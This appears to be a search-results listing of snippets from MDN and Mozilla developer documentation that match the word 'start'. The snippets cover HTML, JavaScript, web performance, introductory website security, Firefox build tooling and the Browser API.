started with html. html text formatting, as covered in html text fundamentals. how hyperlinks work, as covered in creating hyperlinks. objective: learn how to structure your document using semantic tags, and how to work out the structure of a simple website. basic sections of a document webpages can and will look pretty different from one another, but they all tend to share similar ...
...0 by nobody. all rights reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the comments inside the code should also help you to understand it. we aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound html structure, and then laying it out with css. we'll wait for this until you
start to study css layout as part of the css topic. html layout elements in more detail it's good to understand the overall meaning of all the html sectioning elements in detail — this is something you'll work on gradually as you
start to get more experience with web development. you can find a lot of detail by reading our html element reference. for now, these are the main definitions that you sho...
Multimedia and Embedding - Learn web development
we've looked at a lot of text so far in this course, but the web would be really boring only using text. let's
start looking at how to make the web come alive with more interesting content! this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire webpages. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should have a reasonable understanding of the basics of html, as previously covered in introduction to html. if you've not worked through this module (or something similar), work through it first, the...
...other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles which will take you through all the fundamentals of embedding multimedia on webpages. images in html there are other types of multimedia to consider, but it is logical to
start with the humble <img> element used to embed a simple image in a webpage. in this article we'll look at how to use it in more depth, including basics, annotating it with captions using <figure>, and how it relates to css background images. video and audio content next, we'll look at how to use the html5 <video> and <audio> elements to embed video and audio on our pages, including basics, providi...
Assessment: Structuring planet data - Learn web development
previous overview: tables in our table assessment, we provide you with some data on the planets in our solar system, and get you to structure it into an html table. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of html tables and associated features.
starting point to
start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and jav...
...an also see the example live here (no looking at the source code — don't cheat!) steps to complete the following steps describe what you need to do to complete the table example. all the data you'll need is contained in the planets-data.txt file. if you have trouble visualising the data, look at the live example above, or try drawing a diagram. open your copy of blank-template.html, and
start the table off by giving it an outer container, a table header, and a table body. you don't need a table footer for this example. add the provided caption to your table. add a row to the table header containing all the column headers. create all the content rows inside the table body, remembering to make all the row headings into headings semantically. ensure all the content is placed into the...
HTML Tables - Learn web development
web such as your school lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team. this module takes you through all you need to know about structuring tabular data using html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should already have covered the basics of html — see introduction to html. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articl...
... you should already have covered the basics of html — see introduction to html. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides this module contains the following articles: html table basics this article gets you
started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes. html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer s...
Functions — reusable blocks of code - Learn web development
a basic understanding of html and css, javascript first steps. objective: to understand the fundamental concepts behind javascript functions. where do i find functions? in javascript, you'll find functions everywhere. in fact, we've been using functions all the way through the course so far; we've just not been talking about them very much. now is the time, however, for us to
start talking about functions explicitly, and really exploring their syntax. pretty much anytime you make use of a javascript structure that features a pair of parentheses — () — and you're not using a common built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function. built-in browser functions we've made use of functions built...
...tions. the top level outside all your functions is called the global scope. values defined in the global scope are accessible from everywhere in the code. javascript is set up like this for various reasons — but mainly because of security and organization. sometimes you don't want variables to be accessible from everywhere in the code — external scripts that you call in from elsewhere could
start to mess with your code and cause problems because they happen to be using the same variable names as other parts of the code, causing conflicts. this might be done maliciously, or just by accident. for example, say you have an html file that is calling in two external javascript files, and both of them have a variable and a function defined that use the same name: <!-- excerpt from my html --> ...
Client-side web APIs - Learn web development
rating system the site is running on, or manipulating data from other web sites or services. in this module, we will explore what apis are, and how to use some of the most common apis you'll come across often in your development work. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites to get the most out of this module, you should have worked your way through the previous javascript modules in the series (first steps, building blocks, and javascript objects). those modules typically involve simple api usage, as it is often difficult to write client-side javascript examples without them. for this tutorial, we will assume that you are knowledgable about the co...
...about the core javascript language, and we will explore common web apis in a bit more detail. basic knowledge of html and css would also be useful. note: if you are working on a device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides introduction to web apis first up, we'll
start by looking at apis from a high level — what are they, how do they work, how do you use them in your code, and how are they structured? we'll also take a look at what the different main classes of apis are, and what kind of uses they have. manipulating documents when writing web pages and apps, one of the most common things you'll want to do is manipulate web documents in some way. this is usu...
Handling text — strings in JavaScript - Learn web development
ures for manipulating strings, creating custom welcome messages and prompts, showing the right text labels when needed, sorting terms into the desired order, and much more. pretty much all of the programs we've shown you so far in the course have involved some string manipulation. strings — the basics strings are dealt with similarly to numbers at first glance, but when you dig deeper you'll
start to see some notable differences. let's
start by entering some basic lines into the browser developer console to familiarize ourselves. creating a string to
start with, enter the following lines: let string = 'the revolution will not be televised.'; string; just like we did with numbers, we are declaring a variable, initializing it with a string value, and then returning the value. the onl...
...ering the following lines: let badstring = this is a test; let badstring = 'this is a test; let badstring = this is a test'; these lines don't work because any text without quotes around it is assumed to be a variable name, property name, a reserved word, or similar. if the browser can't find it, then an error is raised (e.g. "missing; before statement"). if the browser can see where a string
starts, but can't find the end of the string, as indicated by the 2nd quote, it complains with an error (with "unterminated string literal"). if your program is raising such errors, then go back and check all your strings to make sure you have no missing quote marks. the following will work if you previously defined the variable string — try it now: let badstring = string; badstring; badstring i...
JavaScript First Steps - Learn web development
ook like?", and "what can it do?", before moving on to taking you through your first practical experience of writing javascript. after that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you don't need any previous javascript knowledge, but you should have some familiarity with html and css. you are advised to work through the following modules before
starting on javascript: getting
started with the web (which includes a really basic javascript introduction). introduction to html. introduction to css. note: if you are workin...
... next we'll turn our attention to strings — this is what pieces of text are called in programming. in this article we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in string, and joining them together. useful string methods now we've looked at the very basics of strings, let's move up a gear and
start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more. arrays in the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. here we look at why this is useful,...
What is web performance? - Learn web development
a loading spinner)? are scrolling and animations smooth? this article provides a brief introduction to objective, measureable web performance*, looking at what technologies, techniques, and tools are involved in web optimization. ...
...how many files there are, and other factors besides. a general strategy is to make your files as small as possible, reduce the number of http requests made as much as possible, and employ clever loading techniques (such as preload) to make files available sooner. making the site usable as soon as possible: this basically means loading your web site assets in a sensible order so that the user can
start to actually use it really quickly. any other assets can continue to load in the background while the user gets on with primary tasks, and sometimes we only load assets when they are actually needed (this is called lazy loading). the measurement of how long it takes the site to get to a usable
start after it has
started loading is called time to interactive. smoothness and interactivity: does the...
Multimedia: video - Learn web development
nal.mp4 -an -c:v copy audiofreeversion.mp4 video preload the preload attribute has three available options: auto|metadata|none. the default setting is metadata. these settings control how much of a video file downloads with page load. you can save data by deferring download for less popular videos. setting preload="none" results in none of the video being downloaded until playback. it delays
startup, but offers significant data savings for videos with a low probability of playback. offering more modest bandwidth savings, setting preload="metadata" may download up to 3% of the video on page load. this is a useful option for some small or moderately sized files. changing the setting to auto tells the browser to automatically download the entire video. do this only when playback is very lik...
...g to auto tells the browser to automatically download the entire video. do this only when playback is very likely. otherwise, it wastes a lot of bandwidth. consider streaming video streaming allows the proper video size and bandwidth (based on network speed) to be delivered to the end user. similar to responsive images, the correct size video is delivered to the browser, ensuring fast video
startup, low buffering, and optimized playback. conclusion optimizing video has the potential to significantly improve website performance. video files are relatively large compared to other website files, and always worthy of attention. this article explains how to optimize website video through reducing file size, with (html) download settings, and with streaming. previous overview: performan...
Web performance - Learn web development
. learning pathway while knowing html, css, and javascript is needed for implementing many web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance. we do however recommend that before you work through this module, you at least get a basic idea of web development by working through our getting
started with the web module. it would also be helpful to go a bit deeper into these topics, with modules such as: introduction to html css first steps javascript first steps once you've worked through this module, you'll probably be excited to go deeper into web performance — you can find a lot of further teachings in our main mdn web performance section, including overviews of performance ap...
...h this module, you'll probably be excited to go deeper into web performance — you can find a lot of further teachings in our main mdn web performance section, including overviews of performance apis, testing and analysis tools, and performance bottleneck gotchas. guides this topic contains the following guides. the following is a suggested order for working through them; you should definitely
start with the first one. the "why" of web performance this article discusses why web performance is important for accessibility, user experience and your business goals. what is web performance? you know web performance is important, but what is constitutes web performance? this article introduces the components of performance, from web page loading and rendering, including how your content make...
Client-Server Overview - Learn web development
firefox). static sites a static site is one that returns the same hard coded content from the server whenever a particular resource is requested. so for example if you have a page about a product at /static/myproduct1.html, this same page will be returned to every user. if you add another similar product to your site you will need to add another page (e.g. myproduct2.html) and so on. this can
start to get really inefficient — what happens when you get to thousands of product pages? you would repeat a lot of code across each page (the basic page template, structure, etc.), and if you wanted to change anything about the page structure — like add a new "related products" section for example — then you'd have to change every page individually. note: static sites are excellent when you ...
... data (from the database) into placeholders inside an html template. the web application returns the generated html to the web browser (via the web server), along with an http status code of 200 ("success"). if anything prevents the html from being returned then the web application will return another code — for example "404" to indicate that the team does not exist. the web browser will then
start to process the returned html, sending separate requests to get any other css or javascript files that it references (see step 7). the web server loads static files from the file system and returns them to the browser directly (again, correct file handling is based on configuration rules and url pattern matching). an operation to update a record in the database would be handled similarly, excep...
Website security - Learn web development
rough your web server configuration, for example by enabling https. finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes. the rest of this article gives you more details about a few common threats and some of the simple steps you can take to protect your site. note: this is an introductory topic, designed to help you
start thinking about website security, but it is not exhaustive. website security threats this section lists just a few of the most common website threats and how they are mitigated. as you read, note how threats are most successful when the web application either trusts, or is not paranoid enough about the data coming from the browser. cross-site scripting (xss) xss is a term used to describe a c...
...t a web application cannot trust any data from the web browser. all user data should be sanitized before it is displayed, or used in sql queries and file system calls. with this article, you've come to the end of this module, covering your first steps in server-side website programming. we hope you've enjoyed learning these fundamental concepts, and you're now ready to select a web framework and
start programming. previous overview: first steps in this module introduction to the server side client-server overview server-side web frameworks website security ...
Server-side website programming - Learn web development
pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on amazon. in the modern world of web development, learning about server-side development is highly recommended. ...
...eb "front end". you will need to understand "how the web works". we recommend that you first read the following topics: what is a web server what software do i need to build a website? how do you upload files to a web server? with that basic understanding, you'll be ready to work your way through the modules in this section. modules this topic contains the following modules. you should
start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks. server-side website programming first steps this module provides technology-agnostic information about server-side website programming such as "what is it?", "how does it differ from client-side programming?", and "why is it u...
Implementing feature detection - Learn web development
assic example might be to test for flexbox support in a browser; for browsers that support the newest flexbox spec, we could use a flexible and robust flex layout. for browsers that don't, we could use a floated layout that works ok, although it is slightly more brittle and hacky, and not as cool-looking. let's implement something that demonstrates this, although we'll keep it simple for now.
start by making local copies of our css-feature-detect.html, flex-layout.css, float-layout.css, and basic-styling.css files. save them in a new directory. we will add the html5 shiv to our example too so that the html5 semantic elements will style properly in older versions of ie. download the latest version (see manual installation), unzip the zip file, copy the html5shiv-printshiv.min.js and html5sh...
...is supported by the current browser. if it is, we run some code that gets your device's current location, and plots it on a google map. summary this article covered feature detection in a reasonable amount of detail, going through the main concepts and showing you how to both implement your own feature detection tests and use the modernizr library to implement tests more easily. next up, we'll
start looking at automated testing. previous overview: cross browser testing next in this module introduction to cross browser testing strategies for carrying out testing handling common html and css problems handling common javascript problems handling common accessibility problems implementing feature detection introduction to automated testing setting up your own test automation ...
Cross browser testing - Learn web development
ut?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
... testing. looking to become a front-end web developer? ...
Client-side tooling overview - Learn web development
ost experienced of web developers get stuck on a tooling problem; it is possible to waste hours attempting to get a tooling pipeline working before even touching a single line of application code. if you have found yourself struggling in the past, then don’t worry — you are not alone. in these articles, we won’t answer every question about web tooling, but we will provide you with a useful
starting point of understanding the fundamentals, which you can then build from. as with any complex topic, it is good to
start small, and gradually work your way up to more advanced uses. the modern tooling ecosystem today's modern developer tooling ecosystem is huge, so it's useful to have a broad idea of what main problems the tools are solving. if you jump on your favourite search engine and look...
...ort of call should be the tool project homepage. this could be a full blown website or it might be a single readme document in a code repository. the date-fns docs for example are pretty good, complete, and easy to follow. some documentation however can be rather technical and academic and not a good fit for your learning needs. instead, you might want to find some dedicated tutorials on getting
started with particular types of tools. great
starting places is to search web sites like css tricks, dev, freecodecamp, and smashing magazine, as they’re tailored to the web development industry. again, you’ll probably go through several different tools as you search for the right ones for you, trying them out to see if they make sense, are well-supported, and do what you want them to do. this is...
Accessibility API cross-reference
essibility api of the future could be done through sockets. these tables describe how various accessibility apis define possible roles of an object, and states. all accessibility apis to date define a list of possible object roles, or general types, such as button, menu item, text, etc. they also define a list of possible object states, such as focused, read-only, checked, etc. this table is the
start of a cross-reference, so we can spot the differences and similarities in the apis. aria is a standard developed as part of the web accessibility initiative, which uses markup syntax quite familiar to users of html, xml, sgml and others. the roles it specifies have already informed the 'semantic elements' of html5 (such as main and footer), but there is not a one-to-one mapping between the aria r...
...bility api and accessibility constants) finish aria column - add explanation of the term 'abstract role' fill out html column create aom column fill out xul column. ...
Accessibility/LiveRegionDevGuide
is case, the root event string is object:text-changed with ":delete" and ":insert" being appended to complete the event type. in iaccessible2, there are two distinct event types - ia2_event_text_removed and ia2_event_text_inserted. the text associated with an at-spi text changed event is directly in the event object. the event.any_data field holds the entire text string while event.detail1 is the
start index while event.detail2 is the text string length. in iaccessible2, iaccessibletext::get_oldtext and iaccessibletext::get_newtext are used to acquire the text and offsets. filtering events text changed events certain web page mutation events, such as adding to a list, trigger both an object changed and a text changed event. both events should not be acted upon or double announcements would...
...as a whole while atomic="false" (default) indicates that the region can stand on it's own. the text offsets associated with a text changed event are used when supporting this property. the offsets can be acquired directly in a text changed event object in at-spi and through the use of iaccessibletext::get_oldtext and iaccessibletext::get_newtext in iaccessible2. when atomic is set to "false", the
start index and end index/run length are used as given. the result being that only the change will be presented. when atomic is set to "true", the entire region should be presented. in this case the
start index is 0 and the end index/run length is the length of the text - 1. container-channel the channel property defines two channels - 'main' and 'alert'. it was originally intended to give web devel...
Frequently Asked Questions for Lightweight themes
introducing lightweight themes what are lightweight themes? lightweight themes are easy-to-install, easy-to-use skins that change the look of your firefox web browser. there are hundreds of thousands community-designed themes to choose from, with more added every day.
start looking here for designs that fit your style. what kind of computers and operating systems do lightweight themes work with? lightweight themes work with any type of computer that has firefox installed. this includes mac, linux, windows, and android platforms. what can lightweight themes do? lightweight themes change the header area of your browser, including the tab text color and the background tab colors. you can easily preview a design and install it without needing to re
start. installing lightweight themes how...
... theme you want to undo, click the disable button. how do i provide feedback? we're always looking for ways to improve themes, and would love to hear what you think. visit the themes forum to send us your feedback. creating your own themes can i create my own theme? absolutely! all you need to do is create two graphics files in your favorite graphics editing program (e.g., photoshop). to get
started read more about how to create a theme. are there any content guidelines? yes. we are big fans of creativity, but want to ensure that the art displayed in the themes gallery meets a basic set of guidelines. please review the terms of service and conditions of use for authoritative and complete language. do i still retain ownership over artwork that i upload? yes. your artwork will always be ...
What to do and what not to do in Bugzilla
re you have canconfirm, you can still do good triaging by leaving comments with useful information on the bug that will help to confirm it. the same is true for editbugs: leave comments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly. canconfirm privilege the canconfirm privilege allows you to confirm bugs and also to
start your bug reports in the confirmed state (new). it also governs which bug entry form you are presented with first (either the guided or advanced forms). confirming unconfirmed bugs a useful general guide for confirming unconfirmed bugs. a guide for confirming layout bugs (bugs in web page rendering) reporting new bugs you should report a bug in the new state after going through the triagin...
... for module owners or module peers. verifying bugs only resolved bugs can be verified. to verify a bug, you will need to be the bug reporter, assignee, qa_contact, or in the 'editbugs' permission group. you should verify a bug if it has been proven that the resolution of the bug was correct. when verifying a bug, you should remember the following: verifying duplicates is the easiest task, so
start with that. note that in general it's impossible to verify a duplicate until the original has been resolved. verifying wontfix or invalid bugs is relatively easy if a developer or a trusted qa person has wontfixed or invalidated them. bugs that were invalidated or wontfixed by someone else must be verified by a module owner or module peer or someone who has been explicitly told by a module owner ...
Chrome registration
of user interface elements of the application window that are outside the window's content area. toolbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome. mozilla locates and reads the root chrome.manifest file for extensions and themes. note: with gecko 1.9.2 and older, mozilla reads chrome/*.manifest files from applications.
starting with gecko 2.0, the root chrome.manifest is the only manifest used; you can add manifest commands to that file to load secondary manifests. chrome providers a supplier of chrome for a given window type (e.g., for the browser window) is called a chrome provider. the providers work together to supply a complete set of chrome for a particular window, from the images on the toolbar buttons to t...
...manifests named "contents.rdf" were used to register chrome. this format is deprecated; however, seamonkey versions before version 2 do not support the plaintext manifest format yet, so contents.rdf manifests are required for extensions that wish to maintain backwards compatibility with firefox 1.0 or the suite. gecko 1.9.2 note the contents.rdf manifest format is no longer supported at all
starting with gecko 1.9.2; add-ons already installed using this format will continue to work but can no longer be installed. be sure to remove your add-on and reinstall it to ensure that it installs correctly after updating it to use a plaintext manifest. official references for toolkit api official references. do not add to this list without contacting benjamin smedberg. note that this page is incl...
Cookies Preferences in Mozilla
situations this preference is applicable to all versions of seamonkey. new in thunderbird 3 this preference is applicable to thunderbird 3 and later. earlier versions of thunderbird only allowed cookies on rss feeds. network.cookie.prefsmigrated default value: false migration pref for users with older profiles (before mozilla 1.7). ...
...eeds. network.cookie.prefsmigrated default value: false migration pref for users with older profiles (before mozilla 1.7). if you have the old-style prefs, they will be migrated when
starting the application. (the old prefs are network.cookie.lifetime.enabled, network.cookie.lifetime.behavior, and network.cookie.warnaboutcookies.) true = prefs have been migrated false = migrate prefs on next
startup original document information author(s): mike connor last updated date: may 22, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
Simple Thunderbird build
each of these ac_add_options entries needs to be on its own line. for more on configuration options, see the page configuring build options. note that if you use an moz_objdir it cannot be a sibling folder to your source directory. use an absolute path to be sure! to also build lightning when building thunderbird (deprecated) note: the lightning calendar add-on was integrated into thunderbird
starting with version 74. the `--enable-calendar` option is now deprecated and no longer has any effect. if it is in your `mozconfig` file, you should go ahead and remove it when building thunderbird 74 or later, since support for it will eventually be removed completely. add the following line to your mozconfig file: ac_add_options --enable-calendar to add that line you can do this in the source...
...ny effect. if it is in your `mozconfig` file, you should go ahead and remove it when building thunderbird 74 or later, since support for it will eventually be removed completely. add the following line to your mozconfig file: ac_add_options --enable-calendar to add that line you can do this in the source/ directory: echo 'ac_add_options --enable-calendar' >> mozconfig building before you
start, make sure that the version you checked out is not busted. for hg tip, you should see green bs on https://treeherder.mozilla.org/#/jobs?repo=comm-central to
start the build, cd into the source directory, and run: ./mach build mach is our command-line tool to streamline common developer tasks. see the mach article for more. building can take a significant amount of time, depending on your sys...
Windows SDK versions
visual studio professional 2013 this comes with the windows 8.1 sdk included. ...
..." instead of "%systemroot%". older sdks these are no longer supported, further information is available at obsolete build caveats and tips [en-us] under the windows sdk article. troubleshooting help! i know i have the correct sdk, but configure.in's still failing! try the following things in order: run the windows sdk configuration tool (if available) and make sure the right sdk is selected. re
start the msys console. delete your entire object directory and
start over. ...
pymake
out gmake and pymake: mach will run whatever is best for the current machine. note: on windows, you must take special care to be able to switch back and forth between gmake and pymake on the same object dir. see gmake vs. pymake for more information. anywhere you would normally type make, instead type python /path/to/srcdir/build/pymake/make.py. for example: instead of make -f client.mk to
start a build, you would type python build/pymake/make.py -f client.mk. to run tests instead of typing make mochitest-plain in the object directory, you would type python ../build/pymake/make.py mochitest-plain. alternately, if you would like to simply type in pymake -f client.mk from within the mingw32 shell. while in the shell type cd ~ (without quotes). type touch .profile using any appropriat...
...ent.mk from within the mingw32 shell. while in the shell type cd ~ (without quotes). type touch .profile using any appropriate text editor open .profile and add the following line in the file (assuming your mozilla-central is at c:/mozilla-central, if not, adjust your path accordingly.) alias pymake=c:/mozilla-central/build/pymake/make.py save your .profile edit and close the shell, then re
start the shell. try typing just pymake into the shell and press enter. this should come back with "no makefile found." if it does, your pymake alias is connected and you are ready to type in pymake -f client.mk to
start the build. unlike gmake on windows, pymake is capable of doing parallel builds, so you can set a moz_make_flags=-jn in your .mozconfig without risk of deadlocks. note: on windows,...
Creating Custom Events That Can Pass Data
s page describes how to implement custom dom events that can be used to pass data. using this technique you can add extra parameters and query them. for example, if you want firefox to perform an action whenever something happens (i.e., something other than the standard mouse/keyboard events) and, depending on the data passed along with this event, you want firefox to react differently. note that
starting with version 6, firefox supports dom level 3 customevent, which lets you dispatch custom events with arbitrary data from javascript. (see bug 427537) requirements in order to do this you must be able to do all of the following: download mozilla source code build mozilla creating custom firefox extensions with the mozilla build system. this is the foundation for everything we'll do. what's in...
... in order to do this you must be able to do all of the following: download mozilla source code build mozilla creating custom firefox extensions with the mozilla build system. this is the foundation for everything we'll do. what's in a name despite whatever you may have been taught in your english class, there's a lot in a name when it's an event name. as of gecko 1.8, if your event names do not
start with "nsdom" and their interfaces do not
start with "nsidom" then you can forget about passing data. you will still be able to throw events, but that's it. the trunk you needed to download (or check out) the trunk source because you will have to modify it in order to implement your event. be aware that this means your stuff won't work with everyone else's version of firefox unless you get your pa...
ESLint
this automatic linting can happen either while coding, in a code editor, or when using the command line. it also runs on treeherder for every check-in. running eslint eslint comprises of a set of rules that are used to analyse the code for correctness and style consistency. meeting these rules before review will help reduce the amount of review time, and the revisions necessary to have a review granted. ...
...n't understand a rule, you can look it up on eslint.org for more information about it. mozilla specific rules there are some rules that are specific for the mozilla code-base. these have the prefix mozilla/. more information: outline details of the rules rule source code common issues and how to solve them my editor says that "mozilla/whatever" is unknown run ./mach eslint --setup re
start your editor if that doesn't work, check that you have your editor pointing to the correct node_modules folder. node.js is not recognized add it to your path environment variable by running path="$path:/path/to/node.js/". for example: in windows 10, if you have installed node.js on "c:\nodejs", then the command should look like: export path=$path:/c/nodejs enabling eslint for a new direct...
Developer guide
for new mozilla developers a directory of articles which are particularly helpful for new mozilla developers. ...
... for new mozilla developers a directory of articles which are particularly helpful for new mozilla developers. ...
Displaying Places information using views
this stylesheet that binds elements with the special type attribute to one of the views. the overlay contains javascript required by the views. it also contains the built-in places context menu and commands, which you may want to take advantage of in your own uses of the views. connecting a view to its data to hook up a built-in view to its data, use the view's special place attribute. note:
starting in gecko 2.0, you can't use the place attribute with menus. see menu view for details. you may specify the attribute directly in the xul or set its corresponding property via javascript. its value is the uri of a query, and the data shown in the view are the results of this query. for simple queries whose uris do not change over the life of the view, you might specify the place attribute dir...
... an instance of interface nsinavhistoryresultviewer, which is the point of interaction between a view and its results. results themselves observe places changes, and if on a places change a result determines that its data specifically has changed, it notifies its view by calling an appropriate method of nsinavhistoryresultviewer. once notified, the view is responsible for updating itself. note:
starting in gecko 2.0, nsinavhistoryresultviewer has been replaced by the more powerful nsinavhistoryresultobserver. tree view create a built-in tree view by setting the type attribute to "places" on a tree element. the treechildren element should be empty: <tree type="places"> <treecols> <treecol id="title" flex="1" primary="true" /> <treecol id="url" flex="1" /> </treecols> <treechi...
Performance best practices for Firefox front-end engineers
s transparency is involved, all but the last painting will be overwritten, becoming unnecessary. if you can find ways to avoid doing this, you can save substantial time. keep in mind that painting occurs on the main thread. remember, too, that the goal is to have as little happen on the main thread as possible. that means that finding and removing (when possible) over-painting is a good place to
start reducing your burden on the main thread, which will in turn improve performance. perhaps you’re animating something that requires a repaint? for example, transitioning the background-color of a dom node from red to blue will result in a repaint for every frame of the animation, and paint flashing will reveal that. consider using a different animation that can be accelerated by the gpu. these g...
...cko profiler back-end is in the process of being modified to expose things like markers (from window.performance.mark()). use the compositor for animations performing animations on the main thread should be treated as deprecated. avoid doing it. instead, animate using element.animate(). see the article animating like you just don't care for more information on how to do this. explicitly define
start and end animation values some optimizations in the animation code of gecko are based on an expectation that the from (0%) and the to (100%) values will be explicitly defined in the @keyframes definition. even though these values may be inferred through the use of initial values or the cascade, the offscreen animation optimizations are dependent on the explicit definition. see this comment and a ...
Using the Browser API
}); controlling the stop/reload button next, let's talk about the stop/reload button. as in a traditional browser, this is a single button that acts as a reload button when the page has finished loading, and a stop button while the page is loading (each with a different icon displayed). ...
...ented in our sample app with the following functions: browser.addeventlistener('mozbrowserload
start',function() { stopreload.textcontent = 'x'; }); browser.addeventlistener('mozbrowserloadend',function(e) { canmovebwd(); canmovefwd(); stopreload.textcontent = 'r'; console.log(e.detail.backgroundcolor); controls.style.background = e.detail.backgroundcolor; }); when the mozbrowserload
start event fires, the latest page request has
started loading, and we change the button to a cross to indicate "stop". when the mozbrowserloadend event fires, the latest page request has finished loading, and at this point we want to change the icon back to the reload icon (in this case we are just using a capital "r"). notice that this is also where we call the canmovebwd() and canmovefwd() functions...
mozbrowseraudioplaybackchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseraudioplaybackchange event is fired when audio
starts or stops playing within a browser <iframe>. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubb...
... details read only boolean indicates whether audio is playing in the browser. ...
mozbrowserloadend
detail the detail property returns an anonymous javascript object with the following properties: backgroundcolor a domstring representing the main background color of the browser <iframe> content, expressed as an rgb value. can be used to make the theme of the surrounding ui complement the theme of the currently loaded content, for example. example in this example the mozbrowserload
start and mozbrowserloadend events are used to change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate. in addition, the background of the controls ui bar is changed to the background color of the site that has just loaded, to provide a more integrated experience. when the front page of https://developer.mozilla.org is loaded, for example, the e.detail.background...
...er('mozbrowserloadend',function(e) { stopreload.textcontent = 'r'; console.log(e.detail.backgroundcolor); controls.style.background = e.detail.backgroundcolor; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserload
start mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
HTMLIFrameElement.sendTouchEvent()
the browser <iframe>'s content. note: this method is available for touch-enabled devices only. syntax instanceofhtmliframeelement.sendtouchevent(type, x, y, rx, ry, rotationangles, forces, count, modifiers); returns void. parameters type a string representing the event type. possible values are touch
start, touchend, touchmove, or touchcancel. x an array of numbers representing the x position of each touch point relative to the browser <iframe>'s visible area in css pixels. y an array of numbers representing the y position of each touch point relative to the browser <iframe>'s visible area in css pixels. rx an array of numbers representing the x radius of each touch point in css pixels. ry ...
... ...
IPC Protocol Definition Language (IPDL)
ipdl, short for "ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the ipdl language. ...
... ipdl, short for "ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way. all messages for multi-process plugins and tabs in firefox are declared in the ipdl language. ...
Implementing Download Resuming
ey are described here since gecko 1.8a4 (firefox 1.5, seamonkey 1.0, xulrunner 1.8.0.1). introduction various protocols support getting partial files. this means that if a download was interrupted, it can be resumed from that point on, rather than regetting the whole file. the necko implementations of http 1.1 (rfc 2616) as well as ftp support this feature. not only is the ability to specify a
start position important, but it's also important to have some assurance that the file did not change since the initial download attempt. that would lead to a situation where the first part of the file corresponds to the initial version, while the latter part belongs to a different version, leading to an unusable result. the interface resuming is done using the nsiresumablechannel interface. the expe...
...ment what webbrowserpersist/exthandler do). the front-end code can then notify the user of this, and offer to resume the download. resuming a download in order to resume a download, you should create a channel as usual (using nsiioservice). then, you can check if it implements nsiresumablechannel. if it does not, the protocol does not support resuming. otherwise, call resumeat with the desired
start position, and the previously stored entity id. (it is possible to pass an empty string as the id; however, this means that you have no assurance that the file remained unchanged) now, you can open the channel as usual (using nsichannel.asyncopen() in the common case) and write to the file in the ondataavailable notifications. you may want to use nsisimplestreamlistener to simplify this task; to ...
JavaScript-DOM Prototypes in Mozilla
le __proto__, nor a global node, nor provide any way to get at host objects nor their associated prototypes. if such objects are provided, they are not guaranteed by any specification to have any effect on the environment. results in other browsers is not guaranteed. so how does all this work in the mozilla dom code? it all happens in xpconnect and nsdomclassinfo.{cpp,h} in the dom code. during
startup, the nsdomclassinfo code registers two different types of "global names", these are names of properties of the global object with special meaning to the dom code. the two types of "global names" are class constructor names and class prototype names. what's the difference? class constructor names are names of real classes, and class prototype names are names of "classes" that are inherited by re...
